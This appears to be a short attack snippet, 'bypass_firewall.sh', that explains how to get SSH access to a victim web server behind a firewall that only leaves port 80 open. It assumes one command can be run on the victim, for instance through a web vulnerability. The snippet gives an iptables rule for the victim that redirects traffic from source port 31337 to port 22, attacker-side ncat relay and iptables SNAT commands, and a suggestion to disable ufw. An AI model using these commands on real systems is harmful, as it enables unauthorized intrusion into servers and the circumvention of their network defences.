open ssh connection into server that protected by external firewall only 80 port is opened

bypass_firewall.sh

# Victim is a web server that is protected by external firewall. 80 port is opened and 22 (ssh) port is filtered.
# You cannot connect ssh into the server in this situation. But if you can run a single command (maybe web vulnerablity),
# You can get into the server.

victim $ iptables -t nat -A PREROUTING -p tcp --dport 80 --sport 31337 -j DNAT --to :22

attacker $ ncat -e "/bin/nc <victim> 80 -p 31337" -l 2222
attacker $ ssh -p 2222 localhost

# Or use iptables
attacker $ sudo iptables -t nat -A POSTROUTING -d <victim ip> -p tcp --dport 80 -j SNAT --to :31337
attacker $ ssh -p 80 <victim ip>

It doesn't work if ufw is enabled.
(But you can disable ufw instead)